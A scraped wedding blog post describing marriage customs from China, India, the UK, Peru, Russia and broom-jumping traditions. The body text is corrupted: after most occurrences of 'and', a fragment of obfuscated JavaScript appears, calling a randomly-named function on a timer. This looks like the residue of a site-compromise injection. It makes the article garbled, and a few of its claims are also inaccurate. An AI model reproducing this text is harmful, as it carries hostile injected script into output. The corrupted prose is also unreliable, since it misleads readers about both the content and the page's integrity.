Cultural Wedding Traditions | Fun & Unique Wedding Ideas
post-template-default,single,single-post,postid-28267,single-format-standard,ajax_fade,page_not_loaded,,select-child-theme-ver-1.0.0,select-theme-ver-2.2.1,wpb-js-composer js-comp-ver-4.7.4,vc_responsive

Cultural Wedding Traditions

1715 Total Views 0 Views Today
Every country has its own traditions when it comes to getting married

Each culture has its own ways of making someone’s wedding day extra special. Here’s a few wedding traditions from around the world that go beyond the white dress or the old saying “something old, something new, something borrowed, something new.”


Wedding Cultural Traditions


In modern China, brides pick not one single dress,  but three. The most important is a red frock,  because red is a lucky colour in Chinese culture. Next, the bride swaps to a white dress similar to the ones we have in Europe. Finally, the bride walks out of the reception to change into the third dress, usually a cocktail dress.


Before an Indian bride gets married, her handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s get decorated with elaborate designs made from the plant dye henna, which take hours to apply andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} last a few weeks.


A number of cultures, from Celts to Gypsies, do the broom-jumping, a tradition rooted in the days of slavery when marriage between enslaved men andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} women wasn’t legally sanctioned andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} enslaved men andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} women would declare their love by jumping over a broom.


Cultural Wedding Traditions


Royal weddings in the UK have young girls as bridesmaids rather than contemporaries. For instance, Diana had five bridesmaids andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the youngest one was 5 years old. The oldest was 17.


In Peru, charms attached to ribbons are tucked between the layers of the wedding cake. Just before the cake is cut, each woman grabs a ribbon andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} pulls. At the end of a ribbon is a fake wedding ring andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the person who gets the ring is said to be next in line for marriage.


Finally, Russian grooms really have to work hard for their brides. Before the wedding, grooms show up at the bride’s home andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} asks for his beloved.


Wedding Cultural Traditions


Wedding traditions differ from culture to culture. However, they all share one thing in common... Love!


Feeling inspired by these cultural wedding traditions? Why not check out our 10 Bizarre Wedding Customs From Around The World!

1716 Total Views 1 Views Today

No Comments

Sorry, the comment form is closed at this time.

Show Buttons
Hide Buttons
More in Inspiration, Travel
LetsGetWeddy Promo Thumb
Lets Get Weddy

There is a time in every woman’s life when dreams connect with reality. On some occasions this comes with finding...

mother of the bride
6 Wedding Tips for The Mother Of the Bride

Congratulations! Your son, or daughter is finally getting married! Wedding’s aren’t just a big deal for the couple involved, they...